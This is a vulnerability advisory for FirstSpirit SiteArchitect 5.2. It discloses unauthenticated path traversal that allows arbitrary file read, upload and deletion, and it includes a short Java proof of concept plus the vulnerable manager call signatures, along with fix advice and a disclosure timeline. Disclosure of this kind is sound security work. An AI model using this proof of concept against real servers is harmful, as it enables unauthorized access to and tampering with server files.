usd-2018-0006 | FirstSpirit SiteArchitect/5.2


Advisory ID: usd-2018-0006
CVE Number: N/A
Affected Product: FirstSpirit SiteArchitect
Affected Version: 5.2
Vulnerability Type: Path Traversal
Security Risk: Critical
Vendor URL: https://www.e-spirit.com/de/
Vendor Status: Fixed according to vendor in version 5.2.2109

Description

The application is vulnerable to path traversal attacks. According to the proof of concept below an attacker is able to access any desired files which the web server has access to. This is possible without authentication. It is also possible to upload any file with any name to any location that the web server has access to.

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder by manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths.

Proof of Concept

Example case:

ServerCaller caller = createCaller(„“, port, mode, (String) null);
caller.connect();
ManagerInvocationHandler error = new ManagerInvocationHandler(caller, „ModuleManager“);
ServerModuleManager moduleManager = (ServerModuleManager)java.lang.reflect.Proxy.newProxyInstance(ConnectionManager.class.getClassLoader(), new Class[]{ServerModuleManager.class}, error);

ResourceFileInfo test = new ResourceFileInfo(„../../../../download.txt“, 123, true);
InputStream in = moduleManager.getResourceFileContent(test);
FileOutputStream out = new FileOutputStream(„c:\\pentest\\download.txt“);
IOUtils.copy(in, out);

ManagerCallSignature:
manager=ModuleManager
method=getResourceFileContent
params=[class de.espirit.firstspirit.server.module.ResourceFileInfo] => The path of the parameter ResourceFileInfo is vulnerable to Directory-Traversal.
Any file which the web-server has access to can be read or downloaded without any
authentication.

ManagerCallSignature:
manager=ServerManager
method=uploadUpdateFile
params=[class java.io.InputStream, class java.lang.String]}
=> It’s possible to put any file with any name in any location that the web-server
has access to.

ManagerCallSignature:
manager=de.espirit.firstspirit.manager.ExportManager
method=deleteExportFile
params=[interface de.espirit.firstspirit.access.export.ExportFile] => The filename of the parameter ExportFile is vulnerable to Directory-Traversal.

ManagerCallSignature:
manager=de.espirit.firstspirit.manager.ExportManager
method=downloadExportFile
params=[interface de.espirit.firstspirit.access.export.ExportFile] => The filename of the parameter ExportFile is vulnerable to Directory-Traversal.

ManagerCallSignature:
manager=de.espirit.firstspirit.manager.ExportManager
method=uploadExportFile
params=[class java.lang.String, class java.io.InputStream] => The filename of the to-be-uploaded file is vulnerable to Directory-Traversal.
It’s possible to put any file with any name in any location that the web-server
has access to.

Fix

User’s input for paths should be filtered and sanitized carefully. It is also recommended to isolate the file system of the application e.g with chroot jailing.

Timeline

  • 2018-04-04 First contact request via info@e-spirit.com
  • 2018-04-24 Send vulnerabilities to vendor
  • 2018-05-15 Vendor releases a patch to fix the vulnerabilities

Credits

This security vulnerability was found by Sebastian Puttkammer of usd AG.